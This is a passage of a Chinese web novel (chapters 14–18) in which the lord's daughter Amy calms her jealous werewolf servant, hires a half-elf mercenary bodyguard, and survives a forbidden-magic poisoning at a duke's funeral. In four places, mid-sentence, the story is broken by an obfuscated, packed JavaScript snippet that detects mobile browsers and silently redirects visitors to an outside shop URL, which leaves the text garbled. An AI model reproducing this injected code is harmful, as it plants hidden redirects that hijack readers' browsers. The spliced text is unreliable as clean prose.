按理来说,狼人在月圆夜前的几天,会出现焦躁不安的情况,但好像雷尔夫从未展现过这样的情绪。 他甚至连月圆之夜当晚都表现得十分安静,注射药剂之后甚至能在沙发上看一整晚的书,并在第二天清晨为自己送来刚煮好的咖啡。 从情绪稳定这点来看,他作为侍从简直是绝佳,以至于这么短的时间里,艾米就习惯了这种无需多言就能被服侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055681|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很舒服的生活状态。 月光下,雷尔夫已经站在了马车旁等她。 艾米并不意外,她虽然没有让雷尔夫送她,但已经猜到了他会来接自己。 在看到这个熟悉身影后,一整晚的紧张好像立刻就消失了。 这个出场就自带68好感度的男人给了她放松的底气,艾米也终于理解那些号称“到了年纪还是要回归家庭”的人是怎么想的了。 有这么个漂亮的老婆永远在家里等着自己,无论是谁都会期待回家的。 艾米拎起裙角,轻快地小跑着过去,嘴角忍不住上扬。 “一切都很顺利。”她忍不住第一时间分享了这个好消息:“纳维公爵确实快要死了。” 虽然过程曲折,但结果是好的。 这就够了。 但雷尔夫没有给到艾米想象中的回应。 “这一切如您所愿,小姐。” 他垂下眼睫,遮盖眼中的情绪。 也许是快到月圆夜了,他不太舒服。 艾米想。 她扶着男人绷紧的手臂上了马车,一路上两人都没有说话。 直到临睡前,领主小姐回完古德先生寄来的信件后,才想起自己似乎应该关心一下雷尔夫的身体。 ——就像月经前准备好止痛药,也许能刷一刷他的好感度。 她敲响隔壁的门。 青年只穿了衬衫,胸口的系带松松垮垮地垂下,露出大片饱满的胸脯,勾得领主小姐没忍住多看了两眼。 “咳,明晚好像就是月圆之夜了,你现在感觉还好吗?” 雷尔夫语气平淡:“我很好。多谢关心,小姐。” 艾米继续问道:“抑制剂准备好了吗?” “一切都准备好了。”不知为何,今晚的他似乎十分冷淡:“已经很晚了,小姐。” 话里的意思是在暗示艾米应该离开。 “你不舒服吗?”艾米按下心中疑惑,不仅没走,反而又往前迈了两步,挤进了他的屋子:“想和我聊聊吗,我现在有时间。” 雷尔夫不再说话。 他漆黑的眼睛好像在审视和打量自己。 就在艾米打算放弃时,沉默不语的灰发青年终于张口了。 “今晚怎么样?你遇到什么意外了吗?”他问。 艾米犹豫了一下,决定略过布利斯的那部分,简短地概述了晚上的情况。 “...迪特克很聪明,他差点起疑了,但是我立刻糊弄过去了。” “总之,结果是好的。” 她挤出一个总结性的微笑。 雷尔夫的眼圈红了。 他上前一步,欺身压了上来。 具有压迫感的健硕身体把女孩顶到门板上,像捕猎时地把猎物牢牢禁锢在怀里。 “为什么要骗我。” 他压低眉头,罕见地露出脆弱的神情。 “你知道吗,你的身上全是魅魔的味道。” 低沉的声音,难掩的轻颤。 “从这里。”男人滚烫的手掌抚上艾米的脸颊,拇指沿着下巴轻轻划过唇瓣:“到这里。” “都是那只魅魔发.情留下的味道。” 粗粝的手指在唇瓣上摩挲,轻柔却不容挣脱。 “他对你做了什么?” 艾米心底一颤。 她看到雷尔夫头顶的好感度就像一只出现裂痕的玻璃杯,上面的数字正不受控制地从杯子里流淌出去。 15. 第 15 章 果然便宜没好货。 不对。 是免费的最昂贵。 也不对。 总之,就是这么个意思。出场就自带68点好感度的雷尔夫,吃点醋就会不管不顾地往下掉。 以及更加棘手的是,他还有个狗鼻子。 艾米在心底深深地叹了口气。 虽然没有训狗的经验,但她也不能眼睁睁地看着加成掉没。 “他帮了我。” 艾米仰起头,努力和雷尔夫对视,强迫对方平静下来听自己说话。 “我怕你担心所以才没告诉你。实际上,”她抽出手轻轻覆住男人的手指,将它贴在自己脸颊的肌肤上:“迪特克的匕首当时就抵在这里。” “然后沿着我的脸一直划到这里。” 艾米拉着他的手一路向下,直到脖颈跳动的血管处才停下。 “他问我为什么这么关心他父亲的病情,还问我是不是他哥哥派来的。” 雷尔夫的手掌不自觉地收紧。 他感觉到手心里少女的脖颈柔软又脆弱,自己只要稍稍用力,就能将其折断。 这让他产生混合着颤栗的后怕。 “然后布利斯出现了,就是迪特克请来的那位大魔导师。”艾米继续说道:“他用了个小法术,把迪特克绑了起来。” “还施法让他忘了刚才发生的一切。” 艾米轻轻摩挲男人的手背,试图安抚他的情绪。 “他帮了我。” “要不然我就死了。” 那倒也不会。 不过现在这种情况下,当然要说得更夸张一点。 艾米不相信雷尔夫会不在乎她的性命。 或者说,她笃定,雷尔夫会把她的性命看得比一切都重要。 好感度终于不再往下降了。 “他伤害你了吗?”雷尔夫哑着嗓子问:“我说那只魅魔。” 艾米摇摇头:“他只是吻了我。” 短暂的沉默横亘二人之间。 青年再度把视线落在那处他刚刚用拇指擦过的柔软,过了一会,才缓缓张口:“魅魔为了进食,会对猎物释放魅惑的技能,让他们误以为自己陷入爱河。” “但其实都是假的,他们非常狡猾,全都是骗子。” 听起来像是委屈巴巴来告状的小孩。 “我知道。”艾米冲他笑了笑:“我只是怕你担心。” “我不想让你觉得,你没保护好我。” 这句话对他的杀伤力无疑极大。 出于愧疚,男人的手立刻就想收回去。 但艾米迅速把它捉了回来。 “现在,该你回答我的问题了。” 领主小姐放松地靠在门上,仰起修长的脖颈:“明天就是月圆之夜了,你现在感觉还好吗?” “我很好。”雷尔夫低声回答。 “你刚才真的吓到我了。”艾米不出所料地从面前的这张脸上看到了歉意。 但这还不够,掉了的好感度还没涨回去。 得下一剂猛药。 “你不应该这样对你的主人。”她盯着对方的眼睛,认真地说:“你不应该在没获得我的许可的情况下,这样对我。” 雷尔夫有些心虚,下意识就想起身后退。 但艾米再次抓住了他的手臂。 “我的话都还没说完。”她手指用力,把男人拽了回来:“看来你在礼仪方面确实还需要一些教学。” “我知道你是因为担心我才会这样,但在这之前,你要先告诉我才行。” 青年低沉地嗯了一声。 “那么,遇到今晚这种情况,你应该说什么?” 他乖顺地垂下脑袋,灰色的短发挡住了眼睛里的情绪:“艾米小姐,我在你身上闻到了魅魔发.情的味道。魅魔全是为了进食不择手段的骗子,你今晚遇到的那只也是,他们会靠近你,然后伤害你...” “不,不是这些。” 艾米拉起他的手,谨防他再次逃走:“在把我推到这里之前,你要先获得我的许可。” “来,跟我说。‘艾米小姐,我在你身上闻到了魅魔的味道。’” 漆黑的眼睛中露出了一丝茫然。 于是艾米停了下来,示意雷尔夫跟着做。 然后,她继续说道:“‘请允许我,帮你检查一下你有没有受到伤害。’” 雷尔夫也继续念了一遍。 “很好,就是这样。”艾米放开了他的手。 “现在,你可以开始检查了。” 她踮起脚尖,吻了上去。 - 经过这混乱的一晚上后,艾米终于意识到,自己需要一位能打的女保镖。 这是她被迪特克拿匕首抵着的时候就想到的事情。 而回去后被雷尔夫用狗鼻子嗅了个遍后,她满脑子更是只有一个念头——工作和恋爱真的要分开才行。 就算这个世界是个巨大的乙女游戏,她也还是需要自己的空间。 幸好永夜城是北境最大的城市,活跃在这座城市里的雇佣兵很多,想找女佣兵并不难,但难的是找到合适的。 所有人都觉得给个贵族小姐做保镖是个香饽饽,觉得她们不仅给的多,而且遇不到什么危险。 谁会要暗杀一位只喜欢跳舞和打牌的小姐呢? ——而艾米不一样,她是真的会有性命之忧。 雷尔夫之前在布佛里托做佣兵,而他当时回到北境,来到托利亚的原因,就是在常去的酒吧里,见到了艾米的悬赏令。 “三千金币,这是个非常昂贵的价格了。” 这位前佣兵曾这么举例过:“布佛里托宝石协会副会长的人头,也不过值一千五金币而已。” 关于那场刺杀,艾米至今没有任何线索:“我到底哪里值三千金币?” “你知道悬赏是谁挂出来的吗?” 雷尔夫摇头:“匿名悬赏者是秘密,除非老板不想活了,否则不会透露。” “不过我还是从我的途径打听到一些情况,似乎每次来更新悬赏的不是同一个人。” “他们全都带着兜帽和面具,但是从说话的口音、走路的步伐来看,并不是同一个人。” “也就是说,有那么一群人都想杀我?” “不,我更倾向于是有个组织的头目、或者一位有权势的人,想杀你。”雷尔夫说。 仍然没有任何头绪。 不过似乎除了月圆夜的那次,艾米就再也没有遇到任何刺杀。 这也让她有些奇怪。 一开始她还会紧张得让雷尔夫睡在自己卧室套间的沙发上,每次出门都严阵以待,唯恐哪里飞来一根箭。 后来,平静的生活让她逐渐放下心来,甚至怀疑过是不是挂出悬赏的人自己搞错了对象。 不管怎么说,找贴身女侍从的话,当然是希望她武力越高越好。 领主小姐本来把初筛这件事交给了自己的侍卫,让他来考核面试者的能力。 但几乎没有任何人能得到他的认可。 “她们没有人能在我的手下撑过十回合,我无法放心让这样的人保护您。”雷尔夫这么说。 “如果我真的遇到危险,她只需要撑到你来救我就行。” 按照雷尔夫的考核标准,她再找十年也找不到合适的人。 “我相信一定有强到和你比肩的女佣兵。”艾米叹了口气继续说:“但是,我一个月也就付一百金币的工资,这个价格找一个顶尖的佣兵保护我,是不是有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055682|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想太多。” 降低标准很有效。 很快,雷尔夫推荐了三位他认可的佣兵。 艾米亲自见了这三个人。 虽然可以用魔法来确保她们的忠诚,但艾米还是更希望自己亲自确认她的品行是否合格。 前两位都有着或多或少的问题,就当艾米以为今天又会找不到合适的人时,第三位佣兵给她留下了突出的好印象。 “我已经至少三十年没像今天这么努力了。”这位漂亮姑娘一进来就赞美了雷尔夫的剑术:“艾米小姐,你的侍从是个厉害的家伙。” “我叫罗莎,如你所见,我有点精灵的血统。” 她撩起头发,露出自己藏在头发下的尖耳。 “说实话,我本来没抱什么希望,小姐,我的长相在我们这行算是劣势。” 罗莎耸了耸肩:“但我也没办法,精灵就长这样。不过你放心,我会一点简单的易容术,跟在你身边的时候,可以把脸抹黑点。” 艾米被她逗笑了。 “罗莎,你在担心你太漂亮压过我的风头吗?” “谢谢,但我没有这样的需求。” 罗莎也松了口气。 艾米继续说道:“我选中你确实是因为你的精灵血脉。你们种地会有品质加成,如果可以的话,等到从王城回我的领地时,我希望你能帮我看顾一块领主府里的菜园。” “当然,多出的工作会有额外的金币。” 罗莎对此没有任何意见。 她上前一步主动伸出手:“艾米小姐,你比悬赏令上更漂亮,难得的是,你比我想象的更和善。” 她的话语未落,伴随着一声清脆的振动,雷尔夫几乎不假思索地就将剑对准了罗莎的脖子。 半精灵立刻懵了,她举起双手连连后退:“艾米小姐,我好像并没有做出对你不尊重的事情吧?” 艾米后撤两步,躲在青年的身后:“悬赏令是怎么回事?” 罗莎惊讶:“你不知道自己在布佛里托的地下黑市被挂上悬赏令的事吗?” “这我倒是知道。可你明知道我被悬赏,也愿意接下我的委托,就十分可疑了。”艾米仍然警惕地看向她。 “那后面的事情呢?”罗莎问。 艾米和雷尔夫对视一眼,没有回答。 她立刻补充:“就是洛克公爵又挂出了新的悬赏令的事情。” 艾米用眼神示意她继续说下去。 “当时,你的价格已经涨到了一万五千金币,天呐,这笔钱,很多人一辈子都没见过,连我这个一百多岁的混血精灵都没见过,所以在布佛里托待过的佣兵们几乎都认得你,几乎所有人都想去试试运气。” “可马上洛克公爵就挂出了一条新的委托。” “他说,无论这个悬赏你的人是谁,无论他挂出多少金币的价格,他都会在这个价格上加一千,买下所有敢接下这个悬赏的佣兵的脑袋。” “甚至不论这个人是不是真的来刺杀你了。” “消息刚出来的时候,有人哄骗不知情的佣兵,去酒吧接了你的悬赏,然后反手将这傻子的脑袋砍下。” “第二天,一万六千枚金币就一分不少的到了他的口袋里。” “仅仅两天,就有十五个倒霉蛋因此丧命,也有十五个佣兵一夜暴富,拿到了这辈子都赚不到的钱。” “从此,全城的佣兵都知道了这件事。” “所以没人再敢来杀你,艾米小姐。” “洛克公爵用钱帮你摆平了这件事。” 艾米倒吸一口冷气。 二十四万金币。 洛克公爵居然为此花了足足二十四万金币。 天杀的。 她就知道自己只要五万金币要少了! 16. 第 16 章 二十四万金币。 这笔钱都能组起一支近两千人的军队了,而一个伯爵的领地,都不一定能有两千人的驻军。 知道未婚夫这么有钱的领主小姐恨不得现在立刻写封信再要点。 而讲完事情始末的半精灵罗莎内心同样不平静。 她在艾米问自己为什么接下这份长期委托的时候撒了点谎。 “我想找份安稳的工作。”罗莎微笑着回答。 但其实根本不是这样。 一个月一百金币,对她来说算得上是白菜价。 这也是她能从候选人中脱颖而出的原因——至少要三倍以上的价格,才有可能雇到她这个水平的佣兵。 罗莎完全是冲着艾米来的。 精灵的生命太漫长,哪怕是她这种混血半精灵也是一样。 太阳每天升起落下,月亮每晚划过夜空。无论是杀人、找人、救人,还是送东西、找东西、偷东西....委托来来回回只有这些。 哪怕是佣兵这个以惊险刺激为著称的职业也是一样,一旦做了超过三十年,就只剩下没完没了的枯燥和无聊。 所以乐子变得非常重要。 而对于半精灵罗莎来说,八卦就是她生命唯一的意义。 一个看起来平平无奇的小领主,却被神秘人开出天价悬赏,单是这件事就足够令人好奇的了。 而这位小领主,竟能还能引得南境最有钱、最显赫的大公爵,豪掷几十万金币,帮她摆平追杀。 这背后肯定大有文章。 罗莎甘愿冒着被这个狼人帅哥用剑戳进脖子的风险,也绝对要吃上这个瓜。 不,不止,应该说,她今天就算脖子被戳出个血洞,也得知道艾米小姐和洛克公爵到底有什么关系才能放心地闭上眼睛。 幸好剑没洞穿她的脖子,而善良的艾米小姐,甚至愿意主动向她袒露二人的关系。 “其实,洛克公爵是我父亲为我订下的未婚夫。” 领主小姐沉吟片刻,觉得这件事并不需要保密,尤其对自己未来的贴身女仆来说更没有这个必要。 况且,从洛克公爵的行事风格来看,他也没有任何想要否认这门亲事的意思。 罗莎露出透着满足的甜美微笑。 艾米并没有多想。 她对罗莎非常满意。 能打,又漂亮,做了几十年的佣兵,经验丰富,职业素养高。 每月还只要一百金币,怎么看都是自己捡了大便宜。 于是,两个都觉得自己赚到了的人,愉快地在主仆契约的卷轴上,分别签下了自己的名字。 - 在罗莎正式上班的第二天清晨,当第一缕阳光刚刚透过云层洒在屋顶的时候,永夜城所有的教堂都响起了钟声。 纳维公爵去世了。 他的遗体被绣满族徽的蜡布包裹着装进了棺材里,八名铠甲锃亮器宇轩昂的骑士将丝绒罩布笼在上面,并寸步不离地守在旁边,确保这具漆黑透亮的棺材在抵达玛利亚圣殿后仍然没有一丝刮痕。 跟在棺材身后的是纳维公爵的夫人,和大多数北境贵族太太们的珠玉饱满不同,她瘦削得过了头,高耸的颧骨和干瘦的脸颊就像吃不饱饭的农家女人。 艾米几乎没怎么听说过这位夫人,而永夜城长大的雷尔夫也一样。 她似乎对于自己所能拥有的领主夫人的权力一无所知,既不过问家族里的事,也很少在社交场合露面,几乎是纵容般地让纳维公爵在城市的每个角落里都留下了种,所作所为看起来就像她的外表一样怯懦。 但今天往后,所有人都不会这么看待她了。 因为在公爵夫人身侧的,是她的亲生儿子,别斯霍拉的新任家主,年轻的迪克特大人。 平民被允许站在街道的两侧参与葬礼游行,这是他们为数不多能见到这位北境统治者的时刻,但高大的护卫队成员同样站在道路两旁,银色的铠甲和佩剑在阳光下反射刺眼的光,再加上人群的推搡拥挤,因此也没有多少人真的能从缝隙里看清楚新领主的模样。 队伍浩浩荡荡地抵达城市东南角的玛利亚圣殿,这里已经提前点燃了九千九百九十九只蜡烛,彩色的窗户盖上了黑色的丝绒绸布,进门之处铺设了一块又厚又大的黑色地毯,上面镌绣着别斯霍拉家族徽,从台阶一直铺到祭坛。 棺材被缓缓放在祭坛上,正对着高耸的半圆形穹顶,一缕阳光透过顶端的玻璃,洒落在漆黑的棺材之上。 神官班森主持了这场葬礼。 在繁琐复杂的过程中,艾米无聊地和雷尔夫说起了小话。 “你闻得到吗?”她用眼睛悄悄瞄向布利斯的方向。 为了迁就领主小姐的身高,灰发青年微微俯身,轻轻摇头:“我没有闻到任何味道。” “那你说其他人知道他是魅魔吗?”艾米小声问。 魅魔?魅什么魔?什么魅魔? 刚才还在昏昏欲睡的罗莎立刻站直了身体,竖起了尖尖的耳朵。 “他应当日常佩戴了一些掩饰身份的道具。”雷尔夫想了想说:“他们只有在发.情或者进食的时候,才会无法控制地泄露出那股甜腻的香味。” “抱歉,我对魔法道具了解甚少。” 罗莎的视线落在前面那个长得就和别人不是一个画风的漂亮黑发男人身上。 雷尔夫没闻到味道很正常,但她可是嗅到了满满的八卦的味道。 领主小姐喃喃自语:“怪不得我每次见到他的时候,会有种陷入恋爱的感觉。” “那些都是假的,是他们惯用的手段。”雷尔夫不厌其烦地强调。 罗莎敏锐地听出其中微妙的意味。 她偏过头,悄悄打量自己的这位同事。 高大挺拔的灰发青年将一只手搭在佩剑上,那是柄毫无特色的普通银剑,只有剑柄处挂了一只简单的皮质流苏剑穗。 他的手指在剑穗上抚过,就如同他投向艾米小姐的目光一样。 温柔,专注,还带着珍爱。 半精灵不动声色地移回目光,抿了抿唇,努力压下上扬的嘴角。 有趣。 葬礼已过半,按照北境的习俗,所有人都将拿起一只蜡烛,将熔化的蜡液滴在祭坛下的碗里。 艾米既不是别斯霍拉家的人,也不是大领主,因此只能排在队伍的最后,快等到她的时候,她手中的蜡烛已经燃到了底。 班森神官看了她一眼,给她递来了一只新的。 这种特殊的蜡烛熔得很快,不一会,中间就出现了一个浅浅的洼,艾米移动手中的蜡烛,将那滴蜡液滴进碗里。 起身时,她被烛火燃出的烟呛了一下。 总感觉对着纳维公爵的尸体打喷嚏不太礼貌,艾米压下鼻腔的不适,快步回到雷尔夫和罗莎身边。 “别斯霍拉家的采购该好好查查了。”她边哼哼边抱怨:“在纳维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056773|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公爵的葬礼上也敢用质量这么差的蜡烛。” 接下来就没他们的事了,只有那些和公爵有血缘关系的人需要留下,其余人便可自行离开。 在朝外走的人流中,艾米又看到了布利斯。 他先是被某个伯爵的女儿拦住了脚步,而很快,就又被另外一位寡居的夫人“无意地”撞到。 这让他脸色很不好看。 “罗莎,你见过魅魔吗?”艾米好奇地问道。 “当然。不过就像现在没有纯血精灵一样,我见过的也全是混血魅魔。”半精灵分享起关于魅魔的知识:“他们无论男女,都十分漂亮,能够散发对异性来说具有吸引力的魅力,不过由于是混血,所以这种魅惑的天赋常常不受控制。” 艾米若有所思地点点头。 看样子布利斯应当也是混血魅魔了。面对那些小姐太太们,他总是一副深受困扰的样子,原来是因为这种魅惑是不受控制的被动技。 “艾米小姐。”油腻又熟悉的声音从身后传来。 正是泥巴湾的领主哈尔男爵。 相较于上次的自矜,这次的他明显热情了许多。 “真是令人惋惜,不是吗?”他主动开口,攀谈起来:“当我将烛液滴进祭坛的时候,我的泪也忍不住落下了。” 不知为何,艾米一看到他就想吐,她连礼仪性的寒暄都不想再给这个令人作呕的人,直接打断他没有目的的废话:“如果你想约我谈事情,请往我的住处递帖子。” 哈尔男爵的脸立刻拉了下来:“艾米小姐,就算是你的父亲,也不曾这样对我说话。” “请别挡我的路。”艾米不想在圣殿门口和他继续纠缠,这里人来人往,有很多双眼睛看着:“就算是迪特克大人,也不会这样对待一位失去父母的可怜女孩。” “你——”哈尔男爵先是咬着牙想要吓唬艾米,却被出鞘的剑光闪到了眼睛,忿忿不平地吞下了后半句话:“如果你还想租我的泥巴湾,最好对我更礼貌些。” 胃里翻滚的恶心更甚。 艾米皱着眉头,刚想张口,就忍不住吐了出来,刚好全部喷到了哈尔男爵的身上。 黑色的黏稠液体沾满了他的全身。 哈尔男爵气得几乎要蹦起来。 但紧接着,艾米就感觉双腿发软,头像针扎一样疼痛。 她随即无力地朝罗莎身上靠去,在闭眼之前,隐约看到布利斯正穿过人群朝自己奔来。 “把班森神官叫过来!”雷尔夫立刻抓住哈尔男爵,低吼着催他去找人。 “光明法术也没用,这是禁忌魔法的痕迹。”布利斯气未喘匀,急促地对抱着艾米的半精灵说:“把她给我。” “别碰她。”雷尔夫的手先一步放在剑上。 布利斯举起法杖,不甘示弱地抬起下巴:“我在救她。” 灰发青年的视线迅速扫过圣殿的侧门,冷冷说道:“什么时候魅魔也会关心食物了?” “人类也在你的食谱上,狼人先生。”黑发青年一字一句地顿挫:“她快死了,而且,这是班森也无能为力的禁忌魔法。” 两秒之后,雷尔夫收起了剑。 他伸手从罗莎身上揽过艾米抱在怀里:“先给她找个地方躺下。” 两人达成共识。 而此刻,一旁围观的半精灵正努力按捺住内心的兴奋: 第一天就能遇到这种场面,她这份工作可真是找对了! 17. 第 17 章 再次醒来的时候,艾米感觉喉咙处有股烧灼般的疼痛。 但除此之外,其他的不适症状已经全部消失了。 据罗莎转述,布利斯先是这样那样地比划了几下,然后她就哇哇吐了起来。 大概吐了整整一盆黑色粘稠状物体后,大魔导师又喂了她一点药水,然后没过多久,她就醒来了。 “迪特克大人派人来询问情况,因为你晕倒在圣殿门口,而哈尔男爵又气急败坏地跳脚,非说你是故意的。”半精灵最后补充道。 艾米清了清嗓子,小口地抿起热茶水,看着围在自己身边的雷尔夫和布利斯,尝试理清当下的情况。 然后,她决定先从最简单的入手。 “是哈尔男爵的问题。” 先把锅扣到他头上再说,反正艾米早就看他不顺眼了。 “总之,你就这么和迪特克大人说吧。我被哈尔男爵拦下,他不知为何像个疯子一样纠缠我,然后我闻到一股甜腻的香水味,就立刻开始恶心和头晕,再然后,我就什么都不知道了。” “自始至终,除了纳维公爵的遗体,我就只接触过他一个人,不是他的问题还能是谁的?” 罗莎点点头:“我明白了,所有的一切都是在您遇到哈尔男爵之后才发生的。” 艾米赞许式地眯起眼睛:“没错,你已经完全理解了我的意思。去吧,把事情如实地告诉迪特克大人,顺便把我现在的状况描述得更惨点。” 半精灵应下得很快,但脚步却挪得很慢,走得十分不情愿。 她好想留下来看看这两个人会不会打起来。 目送罗莎离开,领主小姐缓缓将手中的茶杯放在床边桌,视线在两个目光如炬盯着自己看的男人身上来回移动。 见布利斯想要张口,她像是想起什么,立刻向前伸手止住:“等等,我可没有求助你,是你主动来救我,所以这次应该不算我用了‘三个忙’中的一个吧?” 布利斯没想到艾米想说的第一句话是这个。 他皱了皱眉头:“当然不算。” 艾米放下心来。 “所以,现在谁能告诉我,我到底为什么晕倒了?” “是禁忌魔法,有人想杀你。”布利斯问:“你惹到谁了吗?” 天地良心。 她之前一直待在托利亚,安分守己,十八年来只出门过三次,怎么会有人如此锲而不舍想要搞死自己? 但黑发青年对此并不赞同:“我上次遇到你,迪特克的匕首就抵着你的脖子;这次你刚和哈尔男爵说完话,就晕了过去。你所说的安分守己,恐怕和我理解的不一样。” 艾米没理会他话里的嘲讽,她只好奇地问道:“禁忌魔法是什么?” “好问题。” 布利斯轻轻抬手,床边桌上的茶杯就飞到了他的面前。 “魔法的本质,就是摧毁。” 下一秒,啪嗒一声,杯子突然破碎,瓷片散开,未喝完的水结成团悬在空中。 “和重建。” 黑发青年的手腕弹动,破碎的瓷片瞬间重新排列,变成一只碗口极浅的茶杯托,将那团水接住。 “而能够承载光明神旨意的光明法师和神官们,更擅长的是修复。” 紧接着,艾米看到眼前的一切犹如时光倒流,水凝成团,茶杯托重新炸成碎片,而又立刻聚在一起,变成最开始的杯子模样。 “和加固。” 茶杯重新落回桌面。 “试一下。”布利斯轻点下巴示意。 艾米犹豫地拎起把手,提到自己面前打量片刻后,松手摔在地面上。 杯子发出沉闷的一声咚,然后咕噜咕噜地滚到了墙边。 完好无损,没有任何裂口。 布利斯将这只用来教学的茶杯重新拽回来,那团未喝完的茶水还在半空中悬着,伴随着啵的一声,水膜破裂,落入杯中。 “而禁忌魔法,是融合。” 一只开了口的药剂试管微微倾斜,绿色的液体顺着玻璃壁滴进茶杯里。 随着杯子的轻轻摇晃,那两滴不知是什么的液体将茶水全部染成了淡淡的绿色。 “我没有办法将它们分开,或者说,这世界上任何魔法都不行。” “这也是某些死灵法术被称为禁忌魔法的原因。为了让一具骨头架子重新灵活地动起来,有些死灵法师会用乱七八糟的血肉裹在上面,一旦血肉和骨头融合,就会捏出不知是什么的怪物来。” 艾米若有所思:“纳维公爵所遭受的诅咒也是禁忌魔法的一种吗?” 大魔导师没有说话,只意味深长地扫过屋内的另一个人。 “他是我的贴身侍从,我像相信自己一样相信他。”艾米立刻强调。 黑发青年淡淡地收回目光:“不是。想隐秘地搞死人很简单,不需要大费周章地用禁忌魔法。” “除非,这个施法者,希望你的每一个骨头碎片、每一块血肉都被啃噬干净,让你彻彻底底、绝无可能再生地,从这个世界上消失。” 屋内出现了片刻的宁静。 “但他没有成功。”领主小姐冷哼一声:“不是吗?” 她并没有被布利斯的这番描述吓到,正相反,她被激起了莫名的愤怒,一股狂妄自大在胸腔滚滚燃烧——她被选中的异世界穿越者(虽然穿越了十八年一事无成)、外挂金手指拥有者(虽然是个没有战力的乙女系统)——但总之,谁消失她都不会消失的! 这股愤怒让她散发出一股布利斯从未闻到过的香味。 他感觉更饿了。 “是。”黑发青年不自主地滚了滚喉结:“所以你的身体很特别。” 让他特别地有食欲。 比起仍然陷入愤怒中的、对此一无所知的艾米。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14069026|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雷尔夫先发现了异样。 他几乎是立刻拔出了剑:“收收你的味道,魅魔少爷,这不是你发情的地方。” 布利斯短促地冷笑一声:“我认为狗不应该在主人说话之前张嘴。” 不是。 怎么她一个没注意两个人就吵上了? 雷尔夫就算了。 艾米看向布利斯的头顶——你顶着25点的好感度在这里玩什么争风吃醋啊? “艾米小姐!”就在这时,罗莎推门而入,然后在看到屋内剑拔弩张的二人时仓促咽下了后面的话,露出了满足中带着一丝神秘的微笑。 太好了,她什么都没错过! 半精灵缓缓关上门,镇定地站在快打起来的两人之间,在三双眼睛的注视下,慢吞吞地继续说道:“迪特克大人把哈尔男爵叫过去了,或者说,是抓过去了。” “因为涉及禁忌魔法,所以他对这件事很上心。” 艾米点点头,这正是她想要的结果。 也许出于一种护食的本能,布利斯认为自己对遭受了禁忌魔法的领主小姐有更多的责任,非常有必要提醒她不要掉以轻心:“哈尔?那个蠢货可没有接触禁忌魔法的本事。” “当然不是他。”艾米走下床来到床边,用力推开侧边的窗户:“是班森神官。” 雷尔夫的眸色猛地沉了下来。 他想起自己还曾催促哈尔把神官找来,只是当时被布利斯拦下了。 一种可怕的“假如”开始猛烈地撕扯他的心神,令他久久的不安。 北境特有的带着霜木清香的空气挤进了屋内,窗前的少女长长地吐出一口气,缓缓说道:“我接过他递给我的蜡烛,然后被燃烧未完全的黑烟呛到了。那个味道很奇怪,这种品质的蜡烛不应该会出现在纳维公爵的葬礼上。” “只是我想不明白,他又是为什么要杀我?我甚至是第一次见他。” 她意识到自己仍然被敌人关注着。 洛克公爵高调张扬的做法只是略微掸走了一些爱咬人的小虫,那背后的,真心实意想要自己死的人,还在暗处伺机而动。 这种被窥视的感觉令她后背发凉。 “去跟紧他,雷尔夫。”领主小姐扬起下巴,吩咐道:“看看他知道我没死之后,是什么反应。” “是。” 她望向窗外来来去去的人群,风卷起她散落的长发,轻拂在她白瓷般的脸颊上,让人看不清她的想法。 “以及,顺便打听一下。” “有那些王城来的贵族,参加了纳维公爵的葬礼。” 隐隐的不安萦绕在艾米的心头。 在失去意识之前,她曾清晰地听到了系统提示附近有可攻略对象。 这会是巧合吗? 不。 她的直觉告诉她,这位新的男主,似乎隐约和这桩未成功的谋杀有关。 18. 第 18 章 王城的春天是这座古老恢弘的城市最美的季节,花团锦簇的绣球挤满每一寸泥土,小巧娇艳的蔷薇顺着墙壁肆无忌惮地覆盖深红色的砖石,空气中传来不令人生厌的淡淡香气,除了花香,还有小姐太太们身上的香水味。 贫民窟的臭味被城墙阻挡,在魔法的加持之下,这里甚至连地面都是干净的,所有生活在墙内的人都以此为骄傲,在他们看来,外墙的肮脏多来自于那些肮脏的下等人,他们随意撒尿、将泔水倒进河里,还从不洗澡。 